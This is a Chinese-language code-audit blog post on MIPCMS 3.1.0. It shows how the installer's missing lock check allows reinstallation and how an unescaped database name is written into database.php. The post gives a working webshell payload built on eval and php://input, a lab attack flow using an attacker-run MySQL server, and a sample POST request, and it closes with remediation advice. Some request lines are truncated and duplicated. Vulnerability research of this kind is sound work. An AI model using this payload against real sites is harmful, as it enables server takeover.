MIPCMS -基於百度MIP移動加速器SEO優化後的網站系統。在稽核程式碼中,發現一個可以遠程寫入設定檔Getshell的漏洞,感覺挺有意思的,分享一下思路。
MIPCMS官網:https://www.mipcms.cn
網站源碼版本:MIPCMS內容管理系統V3.1.0(發佈時間:2018-01-01)
程式源碼下載:http://www.mipcms.cn/mipcms-3.1.0.zip
默認後臺地址:http://127.0.0.1/admin
默認帳號密碼:帳號密碼自設
1、漏洞檔案位置:/app/install/controller/Install.php第13-23行:
1. public function index()
2. {
3.
4. if (is_file(PUBLIC_PATH . 'install' . DS .'install.lock')) {
5. header('Location: ' . url('@/'));
6. exit();
7. }
8. if (!defined('__ROOT__')) {
9. $_root = rtrim(dirname(rtrim($_SERVER['SCRIPT_NAME'], '/')), '/');
10. define('__ROOT__', (('/' == $_root || '\\' == $_root) ? '' : $_root));
11. }
在index函數中,檢測是否存在install.lock檔案,判斷網站是否已經安裝,檢測是在index函數中,非初始化函數中,故在接下來的安裝過程中,如果沒有繼續檢測lock檔案,那麼就存在一個繞過的情况,進行CMS重裝。我們繼續往下看,同檔案下的函數,第118-142行:
1. public function installPost(Request $request) {
2. header('Access-Control-Allow-Origin: *');
3. header('Access-Control-Allow-Credentials: true');
4. header('Access-Control-Allow-Methods: GET, PUT, POST, DELETE, OPTIONS');
5. header('Access-Control-Allow-Headers: Content-Type, Content-Range,access-token, secret-key,access-key,uid,sid,terminal,X-File-Name,Content-Disposition, Content-Description');
6. if (Request::instance()->isPost()) {
7. $dbconfig['type']=“mysql”;
8. $dbconfig['hostname']=input('post.dbhost');
9. $dbconfig['username']=input('post.dbuser');
10. $dbconfig['password']=input('post.dbpw');
11. $dbconfig['hostport']=input('post.dbport');
12. $dbname=strtolower(input('post.dbname'));
13.
14. $username = input('post.username');
15. $password = input('post.password');
16. $rpassword = input('post.rpassword');
17. if (!$username) {
18. return jsonError('請輸入用戶名');
19. }
20. if (!$password) {
21. return jsonError('請輸入密碼');
22. }
23. if (!$rpassword) {
24. return jsonError('請輸入重複密碼');
25. }
我們可以直接跳轉到這一步,繞過index函數中install.lock的檢測。可以看到,這段installPost函數中獲取了多個參數,並沒有檢測lock檔案,繼續往下看:
1. $dsn = “mysql:dbname={$dbname};host={$dbconfig['hostname']};port={$dbconfig['hostport']};charset=utf8”;
2. try {
3. $db = new \PDO($dsn, $dbconfig['username'], $dbconfig['password']);
4. } catch (\PDOException $e) {
5. return jsonError('錯誤代碼:'.$e->getMessage());
6. }
7. $dbconfig['database'] = $dbname;
8. $dbconfig['prefix']=trim(input('dbprefix'));
9. $tablepre = input(“dbprefix”);
10. $sql = file_get_contents(PUBLIC_PATH.'package'.DS.'mipcms_v_3_1_0.sql');
11. $sql = str_replace(“\r”, “\n”, $sql);
12. $sql = explode(“;\n”, $sql);
13. $default_tablepre = “mip_”;
14. $sql = str_replace(“ `{$default_tablepre}”, “ `{$tablepre}”, $sql);
15. foreach ($sql as $item) {
16. $item = trim($item);
17. if(empty($item)) continue;
18. preg_match('/CREATE TABLE `([^ ]*)`/', $item, $matches);
19. if($matches) {
20. if(false !== $db->exec($item)){
21.
22. } else {
23. return jsonError('安裝失敗');
24. }
25. } else {
26. $db->exec($item);
27. }
28. }
這段函數對獲取的參數進行檢測,Mysql資料庫連接失敗會報錯退出,接著進行導入資料庫操作。繼續往下看,第172-192行:
1. if(is_array($dbconfig)){
2. $conf = file_get_contents(PUBLIC_PATH.'package'.DS.'database.php');
3. foreach ($dbconfig as $key => $value) {
4. $conf = str_replace(“#{$key}#”, $value, $conf);
5. }
6. $install = CONF_PATH;
7. if(!is_writable($install)){
8. return jsonError('路徑:'.$install.'沒有寫入許可權');
9. }
10. try {
11. $fileStatus = is_file(CONF_PATH. '/database.php');
12. if ($fileStatus) {
13. unlink(CONF_PATH. '/database.php');
14. }
15. file_put_contents(CONF_PATH. '/database.php', $conf);
16. return jsonSuccess('設定檔寫入成功',1);
17. } catch (Exception $e) {
18. return jsonError('database.php檔案寫入失敗,請檢查system/config 資料夾是否可寫入');
19. }
在installPost函數的最後,將參數寫入到設定檔database.php中,而且並未對參數進行任何過濾或轉義,攻擊者可以構造腳本程式碼寫入設定檔。
綜上,首先程式流程不嚴謹,可以繞過install.lock檢測進入installPost函數中,可直接進行CMS重裝,或者通過構造參數將腳本程式碼寫入設定檔,進一步去觸發腳本程式碼,控制網站服務器,程式在實現上存在遠程程式碼執行漏洞,危害極大。
類比環境:網站服務器IP:192.168.8.131
攻擊者服務器IP:192.168.8.1
漏洞利用管道一:CMS重裝
1、本地搭建mysql服務,新建資料庫mipcms,然後安裝MIPCMS
2、構造Payload成功寫入設定檔
漏洞利用管道二:遠程寫入設定檔Getshell
1、如何去構造Payload
難題1:構造的參數在Mysql連接中,必須連接成功,不然程式就報錯退出了。
在寫入設定檔中,我們能够控制的參數有5個參數,到底哪個參數能利用呢?寫入設定檔的形式如下:
1. return [
2. 'hostname' => '127.0.0.1', // 伺服器地址
3. 'database' => 'test', // 資料庫名
4. 'username' => 'root', // 用戶名
5. 'password' => 'root', // 密碼
6. 'hostport' => '3306', // 埠
7. ];
為了能讓Mysql連接成功,我們需要自己搭建一個Mysql服務,讓程式連接不會報錯,這樣才能繼續利用。另外,在5個參數中,伺服器地址和埠是不能改的,用戶名限制不能超過16比特,Mysql的密碼是加密也不好利用,唯一剩下可以利用的就是資料庫名,要建立一個與Payload名字一樣的資料庫名,才能連接成功。
難題2:寫入設定檔的時候,大寫會全部轉化為小寫,那麼全域變數$_GET等,全域不能利用:
為此,測試了不少一句話木馬,嘗試通過加密來解决問題,但一直沒成功,最終,靈感突現,直接放弃$_GET/$_POST,利用php://input實現的webshell,就不必烦乱於大小寫了。
1. 最終資料庫名的Payload:
2. test',1=>eval(file_get_contents('php://input')),'xx'=>'
2、漏洞利用過程:
過程1:首先在攻擊者服務器(192.168.8.1)搭建一個Mysql服務,新建資料庫命名為:test',1=>eval(file_get_contents('php://input')),'xx'=>'
過程2:訪問網站服務器(192.168.8.131)提交Payload寫入設定檔
- Payload:
Payload:
- http:
http:
- POST:username=admin&password=admin&rpassword=admin&dbport=3306&dbname=test',1=>eval(file_get_contents('php:
POST:username=admin&password=admin&rpassword=admin&dbport=3306&dbname=test',1=>eval(file_get_contents('php:
進一步去觸發腳本程式碼,執行系統命令,whoami查看網站服務器當前用戶為administrator:
1、寫入設定檔前,對特殊字元(如“、'、<、>等)進行htmlencode處理;
2、全域配寘可考慮寫入資料庫進行調用。
Bypass
About Me
一個網路安全愛好者,對科技有著偏執狂一樣的追求。致力於分享原創高品質乾貨,包括但不限於:滲透測試、WAF繞過、程式碼稽核、安全運維。